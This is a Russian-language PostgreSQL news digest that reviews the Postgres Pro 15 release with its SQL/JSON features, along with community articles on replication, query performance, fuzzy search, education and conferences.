Об этом релизе расскажем подробнее — там важные изменения. И важнейшее из отличий — SQL/JSON: в версию Pro вошли патчи, которые откатили в PostgreSQL 15. А их очень много, и есть существенные. В [прошлом Postgresso](https://habr.com/ru/company/postgrespro/blog/683810) мы печалились:
**[Патчи отложили на PostgreSQL 16](https://postgrespro.ru/list/thread-id/2614934?ysclid=l7wfbtt4i5786115363)**. Чтобы корректно откатить SQL/JSON, пришлось изменить 60 (!) файлов. Среди того, что откатили:
* [SQL/JSON constructors](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=f4fb45d15);
* [IS JSON predicate](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=33a377608);
* [SQL/JSON query functions](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=1a36bc9db);
* [SQL JSON functions](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=606948b05);
* [JSON\_TABLE](https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=4e34747c8).
Но говорили мы это, зная, что эти патчи, над которыми долго работали в Postgres Professional, наверняка войдут в новые релизы Postgres Pro. Так и случилось: те куски (функциональность), что вызывали вопросы у сообщества, дорабатываются, остальное вошло в релиз, не дожидаясь утверждения в сообществе, нередко довольно инерционного. Соответственно, теперь часть доклада **[PostgreSQL 15: MERGE и другие](https://www.youtube.com/watch?v=9RDS-DQDY0A)**, где *Павел Лузанов* рассказывает о SQL/JSON, можно уже слушать не (только) с образовательной целью, а и вполне с практической.
В документации новшества, связанные с SQL/JSON, вошли в раздел [9.16. Функции и операторы JSON](https://postgrespro.ru/docs/postgrespro/15/functions-json#FUNCTIONS-SQLJSON). Теперь всё о (SQL) JSON(B) сгруппировано в документации так:
9.16.1. [Обработка и создание данных JSON](https://postgrespro.ru/docs/postgrespro/15/functions-json#FUNCTIONS-JSON-PROCESSING)
9.16.2. [Язык путей SQL/JSON](https://postgrespro.ru/docs/postgrespro/15/functions-json#FUNCTIONS-SQLJSON-PATH)
9.16.3. [Функции и выражения SQL/JSON](https://postgrespro.ru/docs/postgrespro/15/functions-json#FUNCTIONS-SQLJSON)
9.16.4. [JSON\_TABLE](https://postgrespro.ru/docs/postgrespro/15/functions-json#FUNCTIONS-SQLJSON-TABLE) (это точно last-but-not-least).
Кроме того:* добавление модуля [tds\_fdw](https://github.com/tds-fdw/tds_fdw) (для общения с MS SQL, см. например, статью [Интеграция PostgreSQL с MS SQL Server](https://habr.com/ru/company/postgrespro/blog/309490/));
* совместимость с расширением [TimescaleDB](https://github.com/timescale/timescaledb);
* поддержка реализации ICU в соответствии с «ванильной»;
* поддержка процессоров Эльбрус;
* добавлен модуль rum, обеспечивающий индекс RUM, основанный на GIN (был только [в Postgres Pro Enterprise](https://postgrespro.ru/docs/enterprise/14/rum));
* добавлено расширение [pg\_wait\_sampling](https://postgrespro.ru/docs/postgrespro/15/pg-wait-sampling?lang=ru) — можно следить за происходящим на сервере, в том числе за ожиданиями всех процессов;
* проапгрейдили [mamonsu](https://postgrespro.ru/docs/postgrespro/15/mamonsu) до 3.5.2, [pg\_probackup](https://postgrespro.ru/docs/postgrespro/15/app-pgprobackup) до 2.5.9, [pgpro\_pwr](https://postgrespro.ru/docs/postgrespro/15/pgpro-pwr) до 4.1 (добавилась статистика работы JIT).
Полный список обновлений можно увидеть в [замечаниях к выпуску.](https://postgrespro.ru/docs/postgrespro/15/release-pro-15-0-1)
А вот поддержки Windows в Postgres Pro Standard 15.0.1 уже нет. Об этом предупреждали в Postgres Professional в августе: *[Postgres Pro будет постепенно снижать степень поддержки ОС Windows в своих продуктах](https://postgrespro.ru/blog/news/5969697)*. Немалые усилия, тратившиеся на поддержку Windows-версий плохо сочетаются с тем фактом, что масштабные и нагруженные системы, на которые, в общем, и ориентированы прежде всего версии Postgres Pro, на Windows практически не встретишь. В CNews откликнулись в начале ноября: *[Самая знаменитая российская СУБД прекращает поддерживать Windows: Она больше не популярна](https://www.cnews.ru/news/top/2022-11-02_znamenitaya_rossijskaya_subd)*.
Изменения не затронут текущих пользователей более ранних версий. Для них будут выпускаться обновления, поддержка продолжится в полном объеме. Сборки PostgreSQL и PostgreSQL для 1С под ОС Windows будут выходить в штатном режиме.
И ещё: обновлены и **[сертифицированные версии Postgres Pro](https://postgrespro.ru/blog/news/5969864)**.
И ещё важная информация: **[План разработок Postgres Professional](https://postgrespro.ru/roadmap/)** недавно обновлён.
### JSON, BSON и даже PJSON
**[Using PostgreSQL JSON functions to navigate reviews of restaurants in India](https://dev.to/ftisiot/using-postgresqlr-json-functions-to-navigate-reviews-of-restaurants-in-india-39ld)**
*Франческо Тизьё* (Francesco Tisiot из финской Aiven) считает, что демонстрационные [данные с ресторанными обзорами](https://www.kaggle.com/datasets/shrutimehta/zomato-restaurants-data) прекрасно подойдут для иллюстрирования работы функций с JSON. Эти данные лежат на гитхабе [Kaggle](https://www.kaggle.com/datasets/shrutimehta/zomato-restaurants-data), предлагающей, вообще-то удобное окружение для Python (Jupyter Notebooks). Франческо показывает, как работать с классическими JSON-операторами `->`, `->>``@>`. Откровений в статье нет, но можно освежить воспоминания и навыки, воспользовавшись столь позитивным демо-материалом.
**[How FerretDB stores BSON in JSONB](https://www.ferretdb.io/pjson-how-to-store-bson-in-jsonb/)**
Зато вот эта статья — скорее экзотика. В [прошлом выпуске](https://habr.com/ru/company/postgrespro/blog/683810/) мы писали о [FerretDB](https://www.ferretdb.io/). В этой статье очень любопытные подробности. *Чи Фуджи* (Chi Fujii) пишет о способе, каким FerretDB решают проблему совместимости монговского BSON и постгресового JSONB (PostgreSQL — движок FerretDB, понимающей протокол MongoDB). BSON существенно отличается от JSONB. Например, BSON содержит длину документа и в нём важен порядок полей. Поэтому BSON сначала сериализуется в некий PJSON, изобретённый FerretDB, а тот уже дальше сохраняется с использованием типа JSONB. Для сохранения порядка полей используется массив. Основатель компании, *Алексей Полажченко* (Alexey Palazhchenko) в комментариях поясняет, что есть трудности с дублированием имён полей и с построением индексов, но идеи есть, работа идёт.
### PG-Пятилетка
**[Postgres v15 — a billion transactions later](https://kmoppel.github.io/2022-11-09-postgres-v15-a-billion-transactions-later/)**
[Только что](https://habr.com/ru/company/postgrespro/blog/683810/) мы рассказывали, как *Каарел Моппел* (Kaarel Moppel, Cybertec) решил количественно сравнить производительность PostgreSQL версий 10 и 15 на небольшом наборе запросов, используя pgbench.
Тогда 15-й победил по сумме, хотя и не слишком убедительно: **[5 years in PostgreSQL major versions performance — anything surprising?](https://kmoppel.github.io/2022-09-05-5-years-in-postgresql-major-versions-performance-anything-surprising/)**
Ответ отрицательный. Теперь Каарел запустил pgbench, чтобы посмотреть, как будет вести себя десятка и пятнашка, выполняя миллиард транзакций. Тест серьёзный: на его облачных инстансах эти транзакции крутились около 10 дней.
Ошеломляющих результатов опять нет. Обе версии работают неплохо. Наиболее серьёзные отличия проявились в поглощении дискового пространства: PG 15 определённо лучше для диска. Поэтому, если хранилище медленное, если приходится сильно вылезать из памяти, то надо апгрейдить 10 на 15 как можно скорей. Эти достижения связаны с [дедупликацией](https://postgrespro.ru/docs/postgresql/15/btree-implementation#BTREE-DEDUPLICATION) и [восходящим удалением](https://postgrespro.ru/docs/postgresql/15/btree-implementation#BTREE-DELETION) (bottom-up deletion) в индексах.
### Логическая репликация: параллельное чтение Капилы и Лузанова
Очередной раз обращаем внимание на обзоры коммитфестов *Павла Лузанова*. Если кто не знает, то напомним: это обзоры-статьи, там не просто перечисляются и кратко описываются вошедшие патчи, а приводятся демонстрационные примеры — куски кода, которые можно исполнить у себя.
В статье *Амита Капилы* (Amit Kapila) **[Logical Replication Improvements in PostgreSQL-15](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html)** новшества собраны вместе. Амит известный человек в сообществе, а к разработке логической репликации сам приложил руку.
У обзоров Павла и авторов тематических статей совсем разные цели: в обзорах вполне оперативно даются новости конкретных коммитфестов. Поэтому новшества по темам, относящиеся к одному релизу, оказываются разбросаны по нескольким обзорам. Ну а в статьях можно, не спеша, собирать интересное по темам — в данном случае по [логической репликации](https://postgrespro.ru/docs/postgrespro/15/logical-replication?lang=ru).
Поскольку обзоры коммитфестов сейчас выходят и на английском почти без задержки, а в англоязычных ресурсах сразу появляются ссылки, то этот взаимообогощающий процесс будет, наверное, ещё более эффективным.
Не уверен, что Амит читал обзоры, но в любом случае можно говорить о взаимодействии — пусть в восприятии читателя. Оба, например, пишут о фильтрации строк, приводят примеры комманд, но Амит даёт ещё и важный [комментарий](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html): *это может помочь при разбрасывании данных по разным узлам кластера для увеличения производительности*. Да ещё и перечисляет 7 особенностей такой фильтрации, даёт ссылку на [доку](https://www.postgresql.org/docs/devel/logical-replication-row-filter.html) (вот версия [.ru](https://postgrespro.ru/docs/postgrespro/15/logical-replication-row-filter)) и на [статью](https://www.postgresql.fastware.com/blog/introducing-publication-row-filters) своего коллеги из Fujitsu *Питера Смита*, (Peter Smith) целиком посвященную этой фиче.
А вот о [Функциях для просмотра содержимого каталогов логической репликации](https://commitfest.postgresql.org/35/3390/) можно узнать из [Часть 3 или Коммитфест 2021-11](https://habr.com/ru/company/postgrespro/blog/596567/), а в статью Амита они не попали.
При этом есть и случаи, когда краткий (по определению) обзор даёт больше деталей/примеров. Вот: в [PostgreSQL 15: Часть 4 или Коммитфест 2022-01](https://habr.com/ru/company/postgrespro/blog/651143/) о [Логической репликации без суперпользователя](https://commitfest.postgresql.org/36/3414/). Здесь и понятней, и есть примеры, которые можно воспроизвести, чтобы лучше понять и запомнить.
Ещё один интересный случай уж сравните сами: *Разрешение конфликтов*.
Ну и сводная табличка-список:* Allow replication of prepared transactions — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) Амита Капилы и [в блоге](https://www.postgresql.fastware.com/blog/two-phase-commits-for-logical-replication-publications-subscriptions) Fujitsu / [Логическая репликация: поддержка подготовленных транзакций](https://habr.com/ru/company/postgrespro/blog/572782) в Части 1 КоммитФест 2021-07;
* Allow replication of all tables in the schema — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и [в блоге](https://www.postgresql.fastware.com/blog/logical-replication-of-tables-in-schema-in-postgresql-15) Fujitsu / [Логическоя репликация всех таблиц схемы](https://habr.com/ru/company/postgrespro/blog/596567/) в Части 3 КФ 2021-11;
* Allow specifying row filters for logical replication of tables — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и [в блоге](https://www.postgresql.fastware.com/blog/introducing-publication-row-filters) Fujitsu / [Фильтрация строк в публикации](https://habr.com/ru/company/postgrespro/blog/679264/#commit_52e4f0cd) в Части 5 КФ 2022-03;
* Allow specifying column lists for logical replication of tables — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и [в блоге](https://www.postgresql.fastware.com/blog/column-lists-in-logical-replication-publications) Fujitsu / [Фильтрация столбцов в публикации](https://habr.com/ru/company/postgrespro/blog/679264/#commit_923def9a), в Части 5 КФ 2022-03;
* Allows logical replication to run as the owner of the subscription — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК (в блоге нет) / [Логическая репликация без суперпользователя](https://habr.com/ru/company/postgrespro/blog/651143/) в Часть 4 или Коммитфест 2022-01;
* Conflict Resolution (1) — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и в [блоге](https://www.postgresql.fastware.com/blog/how-to-handle-logical-replication-conflicts-in-postgresql) Fujitsu / [Пропуск транзакции для разрешения конфликта](https://habr.com/ru/company/postgrespro/blog/679264/#commit_208c5d65);
* ещё Conflict Resolution (2) — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и в [блоге](https://www.postgresql.fastware.com/blog/addressing-replication-conflicts-using-alter-subscription-skip) Fujitsu / тоже [Пропуск транзакции для разрешения конфликта](https://habr.com/ru/company/postgrespro/blog/679264/#commit_208c5d65);
* pg\_stat\_subscription\_stats — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК (в блоге нет) / [pg\_stat\_subscription\_stats](https://habr.com/ru/company/postgrespro/blog/679264/));
* (у Амита отсутствует) / [Функции для просмотра содержимого каталогов логической репликации](https://commitfest.postgresql.org/35/3390/) в Часть 3 КФ 2021-11;
* Communication improvements between publisher and subscriber — в [статье](http://amitkapila16.blogspot.com/2022/11/logical-replication-improvements-in.html) АК и [в блоге](https://www.postgresql.fastware.com/blog/how-postgresql-15-improved-communication-in-logical-replication) Fujitsu / (в обзоре нет).
Павел пояснил, почему в его обзоре этого пункта нет (даю в сокращении): в 14-й версии добавили полезную возможность передавать изменения на подписчик не по окончании транзакции, а прямо по ходу её выполнения. Это полезно для логической репликации транзакций изменяющих большие объемы данных. Но не всё было гладко. В 15-й просто исправили кривизну реализации 14-й.
**[PostgreSQL 16: Часть 2 или Коммитфест 2022-09](https://habr.com/ru/company/postgrespro/blog/697228/)**
Самое интересное по PG 16 из первого, июльского, коммитфеста можно прочитать [в предыдущем](https://habr.com/ru/company/postgrespro/blog/681164/) — июльском обзоре, а в этом обзоре — о сентябрьском коммитфесте:* [Функция SYSTEM\_USER](https://habr.com/ru/company/postgrespro/blog/697228/#commit_0823d061);
* [Информация о замороженных страницах и строках в отчете об очистке](https://habr.com/ru/company/postgrespro/blog/697228/#commit_d977ffd9);
* [Функция pg\_stat\_get\_backend\_idset возвращает реальный внутренний идентификатор сеанса](https://habr.com/ru/company/postgrespro/blog/697228/#commit_d7e39d72);
* [Оптимизация ORDER BY и DISTINCT для агрегатных функций](https://habr.com/ru/company/postgrespro/blog/697228/#commit_1349d279);
* [Ускорение массовой вставки в секционированную таблицу](https://habr.com/ru/company/postgrespro/blog/697228/#commit_3592e0ff);
* [Оптимизация поиска в снимке данных](https://habr.com/ru/company/postgrespro/blog/697228/#commit_37a6e5df);
* [Двунаправленная логическая репликация](https://habr.com/ru/company/postgrespro/blog/697228/#commit_36628396);
* [pg\_auth\_members: управление предоставлением членства в ролях](https://habr.com/ru/company/postgrespro/blog/697228/#commit_ce6b672e).
* [pg\_auth\_members: членство в ролях и наследование привилегий](https://habr.com/ru/company/postgrespro/blog/697228/#commit_e3ce2de0);
* [pg\_receivewal, pg\_recvlogical: обработка сигнала SIGTERM](https://habr.com/ru/company/postgrespro/blog/697228/#commit_8b60db77);
Я бы обратил внимание на [двунаправленную логическую репликацию](https://habr.com/ru/topic/edit/697228/#commit_36628396): Павел разбирает её подробно. Это действительно событие. Можно сказать, что это уже встроенный в PostgreSQL «мультимастер» — теперь можно не только читать с разных нод, но и писать на разные ноды кластера. Насколько при этом можно расслабиться, не опасаясь неконсистентности? Эффективность, надёжность и работоспособность такого решения ещё предстоит, конечно, исследовать.
Английская версия есть на сайте Postgres Professional: [PostgreSQL 16: part 2 or CommitFest 2022-09](https://postgrespro.com/blog/pgsql/5969859).
### Нечёткий поиск
Как мы писали в [Postgresso #6 (43)](https://postgrespro.ru/docs/postgresql/15/index?lang=ru), в статье **[Fuzzy Name Matching in Postgres](https://www.crunchydata.com/blog/fuzzy-name-matching-in-postgresql)** *Пол Рэмзи*, сгенерив 50 тыс. имён при помощи [Fake Name Generator](https://www.fakenamegenerator.com/), исследует и рассказывает о soundex и расстояниях Левенштейна. А вот о таких вещах как триграммы и расширение [pg\_trgm](https://postgrespro.ru/docs/postgresql/14/pgtrgm) почему-то не говорит.
Зато в статье **[Ищем имена с опечатками в PostgreSQL](https://habr.com/ru/post/341142/)** автор, *Денис Смирнов* aka [darthunix](https://habr.com/ru/users/darthunix/) (о себе он говорит: *пишу распределенный SQL для Тарантула на Rust*) выбрал именно это расширение:
*fuzzystrmatch умеет считать расстояние Левенштейна между словами и три фонетических алгоритма: Soundex, Metaphone и Double Metaphone. Подводными камнями является, во-первых, то, что функция Левенштейна в данном модуле не позволяет создать индекс для произвольного поискового запроса. Во-вторых, все фонетические алгоритмы реализованы для латиницы.
В связи с этим, решение задачи я начал искать там, где светлее, а именно с модуля* [pg\_trgm](https://postgrespro.ru/docs/postgresql/15/pgtrgm).
Для поиска опечаток он установил (создал) pg\_trgm, табличку с 300 000 имён, GIN-индекс и начал искать себя: *«смерно дени анато»*. Но результат 133 мс. на ноутбуке с ssd из Шэньчжэня его не удовлетворил, поэтому он обратился к комбинации нечёткого поиска с полнотектовым. И воспользовался индексом [rum](https://postgrespro.ru/docs/postgrespro/15/rum?ysclid=lan2pmq537333806950). Напоминаем, что он теперь есть в Postgres Pro Standard. Денис же его собирал из исходников.
Далее в дело пошёл алгоритм Metaphone из статьи [Фонетические алгоритмы](https://habr.com/ru/post/114947/), который он реализовал на [PL/Python](https://postgrespro.ru/docs/postgresql/15/plpython) (plpython3u). После ещё некоторых комбинаций с индексами и алгоритмами запрос с *«Смернов дини онатольев»* отрабатывал на порядок быстрей.
**[PGroonga 2.4.1](https://pgroonga.github.io/news/)**
PGroonga — расширение для быстрого текстового поиска. Его сила в том, что FTS будет работать эффективно для всех (утверждают создатели) языков (pg\_trgm не поддерживает, например, иероглифы).
Вообще-то [Groonga](https://groonga.org/docs/characteristic.html) это поисковый движок и СУБД с колоночным хранением данных. Groonga развитый проект — там есть ещё Rroonga, Mroonga и Nroonga. Создатели публикуют бенчмарки [Groonga vs. textsearch и pg\_trgm](https://pgroonga.github.io/reference/pgroonga-versus-textsearch-and-pg-trgm.html), показывающие быструю работу расширения.
В новой версии появилась поддержка PostgreSQL 15 (а 10 больше не поддерживается);
появился оператор `&@~` для работы с типом jsonb.
#### Ещё статьи
**[Reducing replication lag with IO concurrency in Postgres 15](https://www.citusdata.com/blog/2022/11/10/reducing-replication-lag-with-io-concurrency-in-pg15/)**
*Томас Манро* (Thomas Munro, Citus Data) предлагает установить PostgreSQL 15, запустить pgbench со `scale=1000` и 32 клиентами, запустить поточную репликацию, установить [maintenance\_io\_concurrency](https://postgrespro.ru/docs/postgresql/15/runtime-config-resource#RUNTIME-CONFIG-RESOURCE-ASYNC-BEHAVIOR)=0, отключить [full\_page\_writes](https://postgrespro.ru/docs/postgresql/15/runtime-config-wal#RUNTIME-CONFIG-WAL-SETTINGS) и
посмотреть, как будет расти отставание реплики. После этого сказать
```
ALTER SYSTEM SET maintenance_io_concurrency = 10;
SELECT pg_reload_conf();
```
и наблюдать отставание. Ситуация улучшилась, но прекрасной её не назовёшь. А вот при maintenance\_io\_concurrency = 32 другое дело: отставание полностью рассосалось.
maintenance\_io\_concurrency = 0 соответствует архитектуре PostgreSQL 14. Интересные вещи. Но дальше ещё интересней: Томас рассказывает о пагубном историческом наследии UNIX по части асинхронного ввода-вывода: *полстолетия назад разработчики UNIX сделали выбор в пользу того, чтобы **скрыть асинхронную природу ввода-вывода**. Другие ОС того времени — Multics и VAX/VMS — могли при некоторых настройках предоставлять асинхронность пользовательским программам. Но UNIX всегда усыплял процессы до тех пор, пока данные будут готовы к использованию, и обойти эту модель работы с данными было нельзя*.
Поэтому, хоть в PostgreSQL 15 и добавили параллелизма в ввод-вывод, истинно асинхронным он не стал. Вот в будущем — может быть. Одним словом, очень советую эту статью интересующимся жанром «под капотом».
**[6 устаревших команд Linux и инструменты, которые пришли им на замену](https://habr.com/ru/company/ncloudtech/blog/699536/)**
*Андрей Колесников*, руководитель инженерного отдела в компании МойОфис публикует перевод статьи *Хосе Висенте Нуньеса* (Jose Vicente Nunez) **[6 deprecated Linux commands and the tools you should be using instead](https://www.redhat.com/sysadmin/deprecated-linux-command-replacements)**, что на сайте RedHat.
В этой шестёрке:* fgrep и egrep vs. grep с флагами;
* nslookup vs. dig (а в комментариях советуют drill);
* ifconfig, netstat и route vs. ip.
Такая тема, задевающая за живое новичков и ветеранов, собрала, конечно, немало (больше сорока) комментариев.
**[Emacs(client) as editor in psql](https://fluca1978.github.io/2022/11/16/psqlEmacsClient.html)**
*Лука Феррари* (Luca Ferrari) написал статью для элиты/секты, работающей в Emacs. [EmacsClient](https://www.emacswiki.org/emacs/EmacsClient) даёт много интересных возможностей при работе с psql. Например, можно [использовать](https://fluca1978.github.io/2022/04/13/EmacsPgFormatter.html) внешние редакторы (скажем, перловый [pgFormatter](https://github.com/darold/pgFormatter)) для форматирования запросов, не выходя из редактора Emacs.
**[Listening to Postgres: How LISTEN and NOTIFY Syntax Promote High Availability at the Application Layer](https://www.enterprisedb.com/blog/listening-postgres-how-listen-and-notify-syntax-promote-high-availability-application-layer)**
*Шон Томас* (Shaun Thomas, EDB, тот самый Томас, у которого PG-пятнецы (PG Phrydais), но не PSQL-пятнецы (PSQL Phrydeys) — см. об этом [в прошлом номере](https://habr.com/ru/company/postgrespro/blog/683810/#phridays)) пишет на редкую тему: мало того, что о приложениях, ещё и об использовании механизма [NOTIFY](https://postgrespro.ru/docs/postgresql/15/sql-notify) / [LISTEN](https://postgrespro.ru/docs/postgresql/15/sql-listen). К тому же разбираются и [FOR UPDATE SKIP LOCKED](https://postgrespro.ru/docs/postgresql/15/sql-select). Но всё это интересные, мощные, но непростые средства, связанные с тонкостями работы транзакций, поэтому мы советуем внимательно почитать документацию, если тема сильно заинтересовала.
#### NULL, изменчивый и (почти) непредсказуемый
**[NULL-значения в PostgreSQL: правила и исключения](https://habr.com/ru/company/postgrespro/blog/697300/)**
*Алексей Борщев* преобразовал свой [доклад](https://pgconf.ru/2022/316638) на [PgConf.Russia 2022](https://pgconf.ru) в статью. На мой вкус это был один из самых увлекательных докладов (может, самый). Пересказывать не буду: читайте, смотрите, если можете (слайды доклада доступны всем, а видео тем, у кого есть личный кабинет на конференции).
А 4 ноября *Чарли Батиста* (Charly Batista, Percona) опубликовал статью: **[PostgreSQL: Are All NULLs the Same?](https://www.percona.com/blog/postgresql-are-all-nulls-the-same/)**
В Перконе наверняка читают русскоязычные новости по PostgreSQL, поэтому, можно сказать, что замечательная статья Алексея порождает «круги на воде». Но, может, это совпадение, и тема просто «носится в воздухе». В любом случае это хорошо: тема интересная.
*Рисунок Лоренца Альбе*
**[Avoiding “OR” For Better Query Performance](https://www.cybertec-postgresql.com/en/rewrite-or-to-union-in-postgresql-queries/)**
*Лоренц Альбе* (Laurenz Albe, Cybertec) в этой статье рассказывает, как переписать запрос с OR, используя UNION, в результате чего он будет выглядеть так себе, зато исполняться существенно быстрее.
Примеры не примитивные: при индексировании, например, используется [класс операторов](https://postgrespro.ru/docs/postgresql/15/indexes-opclass) `text_pattern_ops`. Из статьи мы узнаём (если не знали), что бывают хорошие OR, а бывают и плохие: если, например, OR в выражении CASE в SELECT, то это хороший OR; а вот если OR в фильтрах WHERE, как чаще всего и бывает, то быть беде. Скорее всего план не будет оптимальным.
Можно переписать с заменой OR на IN, это поможет. А вот неожиданное решение: индексирование при помощи триграмного индекса из расширения [pg\_trgm](https://postgrespro.ru/docs/postgresql/15/pgtrgm). Он тоже помогает. Далее оказывается, что кроме плохого OR есть и жуткий OR (условие сразу для 2 таблиц). И вот в этом случае Лоренц переписывает запрос с OR как 2 запроса, объединенных UNION.
Статья произвела впечатление, и читатели попросили продолжения на тему: а почему же оптимизатор сам не перепишет запрос?
**[Rewrite OR To Union In PostgreSQL Queries](https://www.cybertec-postgresql.com/en/avoid-or-for-better-performance/)**
В этой статье Лоренц показывает, что всё непросто, что есть немало случаев, когда оптимизатор не имеет права переписывать с UNION, так как результат запроса будет разный. UNION ALL тоже не всегда спасает. Проблема в том, что слишком сложно автоматически распознать случаи, когда переписывать можно, а когда — нет.
Можно ещё почитать и вот такую коротенькую заметку: **[PostgreSQL do different equality predicates make a difference?](https://dev.to/yugabyte/postgresql-do-different-equality-predicates-make-a-difference-1c7)**
В ней *Фриц Хоогланд* (Frits Hoogland) задаёт себе вопрос: как замена `'='` на `'IN'` в запросе влияет на план. И приходит к выводу: да никак.
**[Explain That Parameterized Statement In PostgreSQL!](https://www.cybertec-postgresql.com/en/explain-that-parameterized-statement/)**
Опять Лоренц Альбе. На этот раз он даже придумал анекдот, вот он в моём вольном переводе:
— Чем отличается детектив от консультанта по базам данных?
— Детективу нужна улика, чтобы придумать план, а консультанту нужен план, чтобы найти улику.
Кроме анекдота в статье немало полезного: как план параметризованных запросов можно использовать дальше для запросов с конкретными аргументами, как управлять выбором планов, играя параметром `plan_cache_mode` со значениями `force_custom_plan` / `force_generic_plan`, как получить общий (generic) план при помощи PREPARE, как работает EXPLAIN с ANALIZE и без, как использовать псевдотип unknown, чтобы добиться от планировщика нужных действий. Мало того: всё это он объединил в полезном расширении, которое назвал [generic\_plan](https://github.com/cybertec-postgresql/generic-plan).
#### Железо
**[Сравнение процессора Байкал-S и HiSilicon Kunpeng 920](https://habr.com/ru/company/icl_services/blog/695484/)**
Автор, о котором известно только то, что он разработчик IoT, провёл 9 разных тестов и опубликовал табличку с результатами. Заодно, конечно, рассказал об архитектуре Байкала-S и Kunpeng 920. Хотя оба и на ARM64, отличаются они изрядно — и ядрами (Cortex-A75 / Cortex-A72), и общей топологией. ОС тоже отличались, но по-другому было нельзя: работать приходилось по ssh. Выводов и обобщений нет, только тесты. Есть интересные вопросы/ответы в комментариях, которых почти полсотни.
Образование
-----------
**[Опубликована локализованная документация к PostgreSQL 15.0](https://postgrespro.ru/docs/postgresql/15/index?lang=ru)** — перевод сделан в компании Postgres Professional.
#### Как (и зачем) контрибьютить в Postgres
Такой вопрос то и дело возникает в постгресовых рассылках. *Александр Алексеев* писал об этом в блоге Timescale [How (and why) to become a PostgreSQL contributor](https://www.timescale.com/blog/how-and-why-to-become-a-postgresql-contributor/).
Недавно некто *Матеус Алкантара* спросил об этом в рассылке и получил сразу ответ от Александра. Он посоветовал для начала ревьюить чужой код: *во-первых, это благое дело — именно такой деятельности чаще всего недостаёт сообществу; во-вторых, вы поймёте, какими разработками занято сообщество, какие патчи имеют шанс пройти; поймёте детали реализации частей системы.*
И дал ссылки — на свою статью тоже, но для начала на книжку **[Database System Concepts 7th Edition](https://www.amazon.com/Database-System-Concepts-Abraham-Silberschatz/dp/1260084507/)** *Абраама Зильбершаца* (Abraham Silberschatz, Yale University), *Хенри Корта* (Henry F. Korth, Lehigh University) и *С. Сударшана* (S. Sudarshan, Indian Institute of Technology, Bombay). И ещё дал ссылку на видео курсов CMU (то есть Университета Карнеги Меллона). Мы, кстати, тоже рекомендовали эту книгу и эти курсы в прошлом выпуске, где был очень большой [образовательный блок](https://habr.com/ru/company/postgrespro/blog/683810/#edu).
Но Александр оказался не единственным советчиком. *Роберт Трит* (Robert Treat, который ведёт общеобразовательный **[zillablog](https://xzilla.net)**, работая в Instaclustr, подхватил предложение Александра: *да, разбор чужого патча отличный способ завести знакомства в среде разработчиков — может очень пригодиться, когда коллеги-ревьюеры начнут разносить твой собственный патч*.
Он посоветовал статью [Learning PostgreSQL Internals](http://blog.cleverelephant.ca/2022/10/postgresql-links.html) в блоге *Пола Рэмзи* (Paul Ramsey — тоже есть в упомянутом образовательном блоке — но отчего же не повторить полезные для самообразования ссылки). А в заключение сказал: почему бы не [глянуть в постгрес-вики](https://wiki.postgresql.org/wiki/Development_information), если уже не.
Ну а мы опять напоминаем о книжке нашего коллеги *Егора рогова*: **[PostgreSQL изнутри](https://postgrespro.ru/education/books/internals)**. Английская версия [здесь](https://postgrespro.com/community/books/internals).
**[Обновленный курс DBA2 по версии PostgreSQL 13 выложен на сайт Postgres Professional](https://postgrespro.ru/education/courses/DBA2)**.
В новом курсе:* учтены нововведения версий PostgreSQL 11, 12 и 13;
* вместо сборки из исходных кодов используется установка из пакета;
* материал многих тем переработан, чтобы демонстрации чередовались с теорией.
#### Неожиданный ликбез
— от нескольких известных людей. Грозит перерасти в приятный флешмоб по поводу этакого словарика терминов/жаргона. Вот, например: **[Postgres Databases and Schemas](https://www.crunchydata.com/blog/postgres-databases-and-schemas)**. На самом деле тема там чуть шире: *Крейг Керстинс* (Craig Kerstiens, Crunchy Data) говорит о кластерах, базах данных и схемах. Оговаривая, что в 90% случаев приложение работает с кластером (в постгресовом смысле, а не в серверном) с одной базой данных и одной схемой, он в двух словах рассказывает, как развести ресурсы по пользователям и по задачам.
**[Postgres Insider Terminology](https://www.crunchydata.com/blog/challenging-postgres-terminology)**
*Пол Рэмзи* (Paul Ramsey, Crunchy Data) пишет о Tuple/Record/Row, Array (ещё и о странных массивах), Relation (ещё и о `relkind` и `pg_class`), Target List and Restrictions, Schema (ещё и о `pg_namespace`), Pages (и о Blocks) и TOAST. Пишет предельно просто, но ухитряется сказать о некоторых вовсе не очевидных вещах.
Конференции и митапы
--------------------
**[Infostart Event 2022 Saint Petersburg](https://event.infostart.ru/2022/)**
Конференция 1С прошла в СПБ 6-8 октября 2022-го. Как можно увидеть в [расписании](https://event.infostart.ru/2022/agenda/agenda.php), было 5 потоков. Можно обратить внимание на такие, скажем, доклады:
[Тонкости эксплуатации PostgreSQL](https://event.infostart.ru/2022/agenda/1688671/) (*Антон Дорошкевич*, ИнфоСофт) — у него было аж 3 доклада + круглый стол. Был среди них такой:
[Детский сад, штаны на лямках](https://event.infostart.ru/2022/agenda/1701033/);
[Новое в 14-й и 15-й версиях Postgres](https://event.infostart.ru/2022/agenda/1688681/) (*Иван Панченко*, Postgres Professional);
[Мигрируем с MS SQL на Postgres](https://event.infostart.ru/2022/agenda/1688512/) (*Владимир Крючков*, Осмокод) и его же
[Опыт оптимизации 1С на PostgreSQL](https://event.infostart.ru/2022/agenda/1688511/), в котором есть про тормозные списки, оптимизацию RLS, декомпозицию и про много другое;
